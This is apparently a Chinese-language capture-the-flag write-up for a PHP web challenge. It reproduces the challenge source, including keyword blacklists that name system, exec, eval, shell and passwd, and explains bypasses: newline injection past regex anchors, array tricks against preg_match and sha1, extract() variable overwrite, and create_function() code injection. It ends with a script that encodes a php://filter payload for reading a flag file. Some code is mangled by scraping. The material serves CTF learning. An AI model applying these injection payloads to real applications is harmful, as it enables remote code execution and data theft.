echo"<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo"Neeeeee! Good Job!<br>"; } } elsedie('fxck you! What do you want to do ?!');
if($_REQUEST) { foreach($_REQUESTas$value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo"Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include"flag.php"; $code('', $arg); } ?> This is a very simple challenge andif you solve it I will give you a flag. Good Luck! fxck you! I hate English!
1.GET传参:$shana;$passwd
先来看看PHP手册的介绍
$_SERVER 是九大超全局变量中的一个是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; //对debu只需要传入aqua_is_cute%0a即可 echo"Neeeeee! Good Job!<br>"; } } elsedie('fxck you! What do you want to do ?!');
解法:
%0A绕过
.不会匹配换行符,如
1 2 3
if (preg_match('/^.*(flag).*$/', $json)) { echo'Hacking attempt detected<br/><br/>'; }
只需要
1
$json="\nflag"
而在非多行模式下,$似乎会忽略在句尾的%0a
1 2 3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { echo$flag; }
只需要传入
1
?a=flag%0a
先看源码
1 2 3 4 5 6
if($_REQUEST) { foreach($_REQUESTas$value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; // 这里我们把$_GET['debug'] 赋值为aqua_is_cute\n 即可绕过 echo"Neeeeee! Good Job!<br>"; } } elsedie('fxck you! What do you want to do ?!');
1 2
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo"Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
</code><br /><fontcolor=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>Neeeeee! Good Job!<br>Very good! you know my password. But what is flag?<br><br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=
这里我们注意到post的时候我们只需要post两个值,我们来看看这里的代码:
1 2 3 4 5 6
if($_REQUEST) { foreach($_REQUESTas$value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这里他用的是preg_match 我们的数组可以直接绕过的。
六、主要考点:create_function()代码注入
1 2 3 4 5 6 7
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include"flag.php"; $code('', $arg); } ?>
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo"Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include"flag.php"; $code('', $arg); }
<?php $a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a f l 4 g . p h p"; $arr1 = explode(' ', $a); echo"<br>~("; foreach ($arr1as$key => $value) { echo"%".bin2hex(~$value); } echo")<br>";